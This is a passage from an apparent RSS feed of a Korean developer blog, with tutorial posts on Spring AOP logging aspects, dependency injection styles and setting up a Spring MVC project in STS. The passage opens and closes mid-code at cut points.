</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="n">Logger</span><span class="w"> </span><span class="n">logger</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">LoggerFactory</span><span class="p">.</span><span class="na">getLogger</span><span class="p">(</span><span class="n">AopTestAspect</span><span class="p">.</span><span class="na">class</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nd">@Around</span><span class="p">(</span><span class="s">&#34;@annotation(AopTest)&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">public</span><span class="w"> </span><span class="n">Object</span><span class="w"> </span><span class="nf">AopTest</span><span class="p">(</span><span class="n">ProceedingJoinPoint</span><span class="w"> </span><span class="n">joinPoint</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">Throwable</span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">Date</span><span class="w"> </span><span class="n">date</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Date</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">date</span><span class="p">.</span><span class="na">getTime</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">Object</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">joinPoint</span><span class="p">.</span><span class="na">proceed</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">logger</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">&#34;AOP start - &#34;</span><span class="o">+</span><span class="n">date</span><span class="p">.</span><span class="na">toString</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="k">return</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>위 코드는 @AopTest 어노테이션이 쓰인 곳에 시간을 로그로 찍는 AOP를 작성했다. 아래는 AOP 사용의 또다른 예제이다.</p>
<h3 id="aoptestaspect-2">AopTestAspect</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="nd">@Component</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nd">@Aspect</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">AopTestAspect</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">private</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Logger</span><span class="w"> </span><span class="n">logger</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">LoggerFactory</span><span class="p">.</span><span class="na">getLogger</span><span class="p">(</span><span class="n">AopTestAspect</span><span class="p">.</span><span class="na">class</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nd">@Around</span><span class="p">(</span><span class="s">&#34;all()&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">public</span><span class="w"> </span><span class="n">Object</span><span class="w"> </span><span class="nf">AopTest</span><span class="p">(</span><span class="n">ProceedingJoinPoint</span><span class="w"> </span><span class="n">joinPoint</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">Throwable</span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">Date</span><span class="w"> </span><span class="n">date</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Date</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">date</span><span class="p">.</span><span class="na">getTime</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">Object</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">joinPoint</span><span class="p">.</span><span class="na">proceed</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">logger</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">&#34;AOP start - &#34;</span><span class="o">+</span><span class="n">date</span><span class="p">.</span><span class="na">toString</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="k">return</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nd">@Pointcut</span><span class="p">(</span><span class="s">&#34;execution(* com.test.test.HomeController.*(..))&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">private</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">all</span><span class="p">()</span><span class="w"> </span><span class="p">{}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>위 코드는 com.test.test.HomeController 아래의 모든 메소드에 AOP를 적용한 코드이다. execution을 설명하자면 앞의 <em>는 리턴타입 설정 부분인데 이는 모든 리턴타입을 의미한다. 띄어쓰기 후 com.test.test.HomeController.</em>(..)은 com.test.test.Homcontroller의 위치에 모든 메소드에 AOP를 적용했다는 의미가 된다.</p>
<p>위 코드는 역시 다음과 같이 간략하게 작성이 가능하다.</p>
<h3 id="aoptestaspect-3">AopTestAspect</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="nd">@Component</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nd">@Aspect</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">AopTestAspect</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">private</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Logger</span><span class="w"> </span><span class="n">logger</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">LoggerFactory</span><span class="p">.</span><span class="na">getLogger</span><span class="p">(</span><span class="n">AopTestAspect</span><span class="p">.</span><span class="na">class</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nd">@Around</span><span class="p">(</span><span class="n">value</span><span class="o">=</span><span class="s">&#34;execution(* com.test.test.HomeController.*(..))&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">public</span><span class="w"> </span><span class="n">Object</span><span class="w"> </span><span class="nf">AopTest</span><span class="p">(</span><span class="n">ProceedingJoinPoint</span><span class="w"> </span><span class="n">joinPoint</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">Throwable</span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">Date</span><span class="w"> </span><span class="n">date</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Date</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">date</span><span class="p">.</span><span class="na">getTime</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">Object</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">joinPoint</span><span class="p">.</span><span class="na">proceed</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">logger</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">&#34;AOP start - &#34;</span><span class="o">+</span><span class="n">date</span><span class="p">.</span><span class="na">toString</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="k">return</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div>]]></content:encoded></item><item><title>Spring Framework DI(Dependency Injection)이란?</title><link>https://dig06161.github.io/2022/04/04/Spring-DI/</link><pubDate>Mon, 04 Apr 2022 16:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/04/04/Spring-DI/</guid><description>&lt;p>스프링 프레임워크에서는 DI, IOC, AOP 등이 사용되고 있다. 이번에는 스프링 프레임워크에서 사용하는 DI Dependency Injection, 의존주입에 대해서 포스팅 해보려 한다.&lt;/p>
&lt;p>의존 주입이라고 하면 영어를 직역한 표현같이 뭔가 잘 이해가 되질 않는다. 자바에서는 객체를 사용하고 이 객체를 다른 클레스에서 사용하려면 객체를 new 클레스이름 을 통해 생성해서 사용해야 한다.&lt;/p>
&lt;p>DI는 이 new를 통해 생성하는 부분을 자동으로 해준다 생각하면 편할 것 같다. 기본적인 개념은 객체를 직접 생성하는 것이 아니라 자동으로 생성되는 것이다.&lt;/p>
&lt;p>&lt;br>&lt;br>&lt;/p></description><content:encoded><![CDATA[<p>스프링 프레임워크에서는 DI, IOC, AOP 등이 사용되고 있다. 이번에는 스프링 프레임워크에서 사용하는 DI Dependency Injection, 의존주입에 대해서 포스팅 해보려 한다.</p>
<p>의존 주입이라고 하면 영어를 직역한 표현같이 뭔가 잘 이해가 되질 않는다. 자바에서는 객체를 사용하고 이 객체를 다른 클레스에서 사용하려면 객체를 new 클레스이름 을 통해 생성해서 사용해야 한다.</p>
<p>DI는 이 new를 통해 생성하는 부분을 자동으로 해준다 생각하면 편할 것 같다. 기본적인 개념은 객체를 직접 생성하는 것이 아니라 자동으로 생성되는 것이다.</p>
<p><br><br></p>
<p>예를 들어 A라는 객체는 B, C클레스에서 사용된다 했을 때 B, C클레스는 A 객체를 받아와 사용하게 된다.</p>
<center><img src="/img/spring-di/new-class.png" width="80%" height="80%"></center>
<p>여기서 우리가 JAVA를 사용할때 객체를 외부에서 사용할때 new 키워드를 사용하게 된다. 스프링에서는 DI를 이용해 객체를 주입 받는데 이것을 오늘 알아보자.</p>
<p>스프링은 코드의 수정을 최소화 하고 유연한 사용을 위해 강한 결합을 피하고 느슨한 결합을 지향한다. 스프링은 class와 class간의 관계를 지양하려 한다. 객체와 객체간의 관계를 권장하며 상속의 경우 코드 작성의 제약이 많고 확장성을 떨어트려 피하는 것이 좋다. 그걸 위한 기법이 DI이다.</p>
<p>DI를 사용하기 위한 기법은 3가지가 있다. 생성자 주입, 필드 주입, 수정자 주입이다.</p>
<p><br><br></p>
<h3 id="필드-주입">필드 주입</h3>
<p>필드 주입은 빈으로 등록하는 객체를 다음과 같은 코드를 통해 주입해 사용한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">Controller</span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nd">@Autowired</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">private</span><span class="w"> </span><span class="n">Service</span><span class="w"> </span><span class="n">service</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nd">@RequestMapping</span><span class="p">(</span><span class="n">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;/&#34;</span><span class="p">,</span><span class="w"> </span><span class="n">method</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">RequestMethod</span><span class="p">.</span><span class="na">GET</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">public</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">home</span><span class="p">(</span><span class="n">Locale</span><span class="w"> </span><span class="n">locale</span><span class="p">,</span><span class="w"> </span><span class="n">Model</span><span class="w"> </span><span class="n">model</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">service</span><span class="p">.</span><span class="na">services</span><span class="w"> </span><span class="p">.....</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>위의 코드를 보면 Service 객체를 @Autowired를 통해 주입받아 사용한다. 이처럼 엄청난 코드 간결성과 편의성 때문에 필자 뿐만 아니라 다른 회사에서도 많이 썼던 기법이라고 한다.</p>
<p>필자는 코드의 간결성과 유연성을 위해 필드 주입을 주로 사용했는데, 스프링에서는 필드주입을 권장하지 않는다. 그 이유는 개발을 진행하다 보면 여러 서비스 객체들이 생기는데 이러한 객체들이 필드 주입으로 인해 순환 참조될 수 있기 때문이다. 예를 들어 A는 B를 참조하고 B는 C를 참조하는데 C가 A를 참조할 경우 계속적으로 참조를 위해 사이클을 돌다가 스텍 에러를 띄우게 된다. 필자는 아직 경험해 본적이 없지만 이러한 문제를 아직 직면하지 않았지만 5버전 스프링에서는 이러한 문제 때문에 생성자 주입을 권장한다.</p>
<p><br><br></p>
<h3 id="수정자-주입">수정자 주입</h3>
<p>수정자 주입방법은 setter를 이용한다. 예시는 다음과 같다</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">Controller</span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">private</span><span class="w"> </span><span class="n">Service</span><span class="w"> </span><span class="n">service</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nd">@Autowired</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">setService</span><span class="p">(</span><span class="n">Service</span><span class="w"> </span><span class="n">service</span><span class="p">){</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">this</span><span class="p">.</span><span class="na">service</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">service</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nd">@RequestMapping</span><span class="p">(</span><span class="n">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;/&#34;</span><span class="p">,</span><span class="w"> </span><span class="n">method</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">RequestMethod</span><span class="p">.</span><span class="na">GET</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">public</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">home</span><span class="p">(</span><span class="n">Locale</span><span class="w"> </span><span class="n">locale</span><span class="p">,</span><span class="w"> </span><span class="n">Model</span><span class="w"> </span><span class="n">model</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">service</span><span class="p">.</span><span class="na">services</span><span class="w"> </span><span class="p">.....</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>위와같이 Setter 수정자를 통해 사용하고자 하는 클레스에 객체를 주입 받았다. 이러한 방법은 의존관계 불변성을 위반할 수 있고, putlic 키워드로 메서드를 열어두기 때문에 좋은 방법이 아니다.</p>
<p><br><br></p>
<h3 id="생성자-주입">생성자 주입</h3>
<p>생성자 주입 기법은 스프링에서 가장 권장하고 있는 DI 방법이다. Lombok 라이브러리와 사용성이 용이하고 생성자 호출 시점에서 딱 1번 호출하고 final 키워드 사용이 가능해 불변성을 만족한다. 또한 주입할 데이터가 누락되어있을 경우 컴파일 오류를 띄워준다.</p>
<p>예제는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">Controller</span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">private</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Service</span><span class="w"> </span><span class="n">service</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nd">@Autowired</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">public</span><span class="w"> </span><span class="nf">Controller</span><span class="p">(</span><span class="n">Service</span><span class="w"> </span><span class="n">service</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">this</span><span class="p">.</span><span class="na">service</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">service</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nd">@RequestMapping</span><span class="p">(</span><span class="n">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;/&#34;</span><span class="p">,</span><span class="w"> </span><span class="n">method</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">RequestMethod</span><span class="p">.</span><span class="na">GET</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">public</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">home</span><span class="p">(</span><span class="n">Locale</span><span class="w"> </span><span class="n">locale</span><span class="p">,</span><span class="w"> </span><span class="n">Model</span><span class="w"> </span><span class="n">model</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">service</span><span class="p">.</span><span class="na">services</span><span class="w"> </span><span class="p">.....</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div>]]></content:encoded></item><item><title>Spring Framework STS로 스프링 MVC 프레임워크 프로젝트 만들기</title><link>https://dig06161.github.io/2022/03/28/make-spring-project/</link><pubDate>Mon, 28 Mar 2022 00:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/03/28/make-spring-project/</guid><description>&lt;ul>
&lt;li>
&lt;h1>스프링 부트&lt;/h1>
&lt;/li>
&lt;/ul>
&lt;p>스프링 부트의 경우 프로젝트 생성이 매우 쉬운 편이다.&lt;/p>
&lt;p>&lt;a href="https://start.spring.io/">https://start.spring.io/&lt;/a> 에 들어가면 spring initializr에서 프로젝트 설정을 할 수 있고 프로젝트 이름, 패키징 방식, 자바 버전, 여러 의존성 등 여러가지 설정을 추가 한 후에 프로젝트 파일을 다운 받을 수 있다.&lt;/p>
&lt;center>&lt;img src="https://dig06161.github.io/img/make-spring-project/spring-boot-initializr.png" width="80%" height="80%">&lt;/center>
&lt;br>&lt;br>
&lt;p>스프링 부트에 관해서는 다른 글로 다시 정리해 보겠다.&lt;/p>
&lt;p>&lt;br>&lt;br>&lt;/p>
&lt;ul>
&lt;li>
&lt;h1>스프링 프레임워크&lt;/h1>
&lt;/li>
&lt;/ul>
&lt;p>스프링 프레임워크는 자체 개발도구 IDE를 제공한다. 이는 자바 IDE로 많이 알려진 Eclipse를 기반으로 하여 Spring Tools이라는 플러그인을 설치해 배포하는 방식이다.&lt;/p></description><content:encoded><![CDATA[<ul>
<li>
<h1>스프링 부트</h1>
</li>
</ul>
<p>스프링 부트의 경우 프로젝트 생성이 매우 쉬운 편이다.</p>
<p><a href="https://start.spring.io/">https://start.spring.io/</a> 에 들어가면 spring initializr에서 프로젝트 설정을 할 수 있고 프로젝트 이름, 패키징 방식, 자바 버전, 여러 의존성 등 여러가지 설정을 추가 한 후에 프로젝트 파일을 다운 받을 수 있다.</p>
<center><img src="/img/make-spring-project/spring-boot-initializr.png" width="80%" height="80%"></center>
<br><br>
<p>스프링 부트에 관해서는 다른 글로 다시 정리해 보겠다.</p>
<p><br><br></p>
<ul>
<li>
<h1>스프링 프레임워크</h1>
</li>
</ul>
<p>스프링 프레임워크는 자체 개발도구 IDE를 제공한다. 이는 자바 IDE로 많이 알려진 Eclipse를 기반으로 하여 Spring Tools이라는 플러그인을 설치해 배포하는 방식이다.</p>
<p>Spring Tools를 줄여 STS라 부르며 지금은 버전 4까지 나온 상황이다. 다만 버전 4는 스프링 부트 개발자들을 위해 만들어진 IDE로 스프링 MVC 프레임워크를 사용하려면 내부에서 STS 3 확장 플러그인을 설치해야 한다.</p>
<p><a href="https://spring.io/tools">https://spring.io/tools</a></p>
<p>위 링크에서 STS 최신버전을 다운 받을 수 있다. Eclipse 기반 IDE이므로 자바가 미리 설치되어 있어야 한다.</p>
<p>Eclipse 뿐만 아니라 VScode도 지원하는데 여기는 STS3 플러그인이 없어 STS로 프로젝트를 생성하고 VScode로 편집을 진행한다.</p>
<p>우선 IDE를 다운로드 하고 원하는 위치에 STS4라는 폴더를 만든후 IDE jar파일을 폴더에 넣어준다.</p>
<center><img src="/img/make-spring-project/sts-folder1.png" width="80%" height="80%"></center>
<p>jar파일을 더블클릭 하면 자동으로 압축을 풀고 디렉터리에 STS 폴더를 생성후 IDE 실행에 필요한 파일들을 넣는다. 이후 이 폴더에 들어가면</p>
<center><img src="/img/make-spring-project/sts-folder2.png" width="80%" height="80%"></center>
<p>SpringToolSuite4.exe가 있다. 이 프로그램이 STS IDE이며 이를 더블클릭해 실행시킨다.
그러면 로딩된 후 워크스페이스를 설정하는 창이 뜨고 이를 자기가 개발할 폴더로 지정해준다.
로딩이 완료되면 익숙한 Eclipse와 비슷한 화면이 뜬다.</p>
<center><img src="/img/make-spring-project/sts4-main.png" width="80%" height="80%"></center>
<p>여기서 spring boot는 Create new Spring starter Project 항목을 통해 프로젝트를 만들 수 있지만, Spring mvc 프로젝트는 항목이 보이지 않는다. 이제 STS3 플러그인을 설치해보자.</p>
<p>Help -&gt; marketplace에 들어간 후 STS3을 검색한다.</p>
<p>그럼</p>
<center><img src="/img/make-spring-project/marketplace-sts3.png" width="80%" height="80%"></center>
<p>이렇데 뜨는데 우리가 필요한 건 중간에 Spring Tools 3 add-On for Spring Tools4라는 것이다. Install 버튼을 통해 설치한다.</p>
<p>중간에 라이센스에 동의하는지 확인창이 뜨는데 전부 agreement를 선택해 마무리 버튼을 누른다.</p>
<p>그러면 잠시후에 STS에서 restart 버튼이 뜰것이다. 다시 시작한다.</p>
<p><br><br></p>
<p>다시 시작한 STS에서 좌측 상단의 File -&gt; New -&gt; Other 을 선택하면 다음과 같은 화면이 뜬다.</p>
<center><img src="/img/make-spring-project/sts4-in-sts3-addOn.png" width="80%" height="80%"></center>
<p>중간에 보면 Spring Legacy Project라는 항목이 있는데 이것이 Spring MVC 프로젝트이다.</p>
<p>이것을 클릭하고 프로젝트 생성으로 들어가면 프로젝트 이름과 상세설정을 볼수 있다.</p>
<center><img src="/img/make-spring-project/sts4-select-spring-mvc.png" width="80%" height="80%"></center>
<p>맨 아래쪽의 Spring MVC Project를 클릭하고 프로젝트 생성을 누르면, maven에서 자동으로 필요한 의존성 파일들을 다운받고 프로젝트 빌드를 한다.</p>
<p><br><br>
필자의 환경은 OpenJDK 11 LTS를 사용했고 현 시점 STS에서 권장하는 버전으로 17에서 테스트 했을 때는 버전 오류가 발생해 다운그레이드 했다. 프로젝트 이름은 com.test.test로 설정했다</p>
<br>
<p>다른 설명에 앞서 톰켓을 알맞는 버전으로 다운받아 STS4 폴더에 같이 넣어준다. 이후 STS4에서 File -&gt; New -&gt; Other 의 Server를 클릭해 다운로드한 톰켓의 버전에 맞에 셋팅을 해줘야 한다.</p>
<p>그 다음, Window -&gt; preferences -&gt; JAVA -&gt; Installed JREs 에서 설치한 자바 jdk를 로드 해준다.</p>
<p>이후 General -&gt; Workspace에서 인코딩 설정을 UTF-8로 바꿔준다. 그리고 General -&gt; Context Type에서 text를 클릭한 후 인코딩 항목에 utf-8을 입력후 적용한다. 이후 WEB -&gt; html, css 에서 인코딩 설정을 동일하게 utf-8로 바꿔준다.</p>
<p>인코딩으로 생기는 문제를 최소한으로 하기 위해 미리 설정을 바꿔주겠다.</p>
<br>
<p>다음은 Spring MVC의 기본 파일 구성이다.</p>
<center><img src="/img/make-spring-project/spring-mvc-structure.png" width="80%" height="80%"></center>
<p>여기서 중점으로 보는 부분들은 src/main/java 아래에 있는 자바 코드와 src/main/webapp 하위 디렉터리 폴더와 파일들, pom.xml이 될것이다.</p>
<p>기본적인 코드 작성은 com.test.test 에 작성하게 된다. 기본적으로 보이는 HomeController.java 의 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nn">com.test.test</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">java.text.DateFormat</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">java.util.Date</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">java.util.Locale</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.slf4j.Logger</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.slf4j.LoggerFactory</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.springframework.stereotype.Controller</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.springframework.ui.Model</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.springframework.web.bind.annotation.RequestMapping</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.springframework.web.bind.annotation.RequestMethod</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="cm">/**
</span></span></span><span class="line"><span class="cl"><span class="cm"> * Handles requests for the application home page.
</span></span></span><span class="line"><span class="cl"><span class="cm"> */</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nd">@Controller</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">HomeController</span><span class="w"> </span><span class="p">{</span><span class="w">
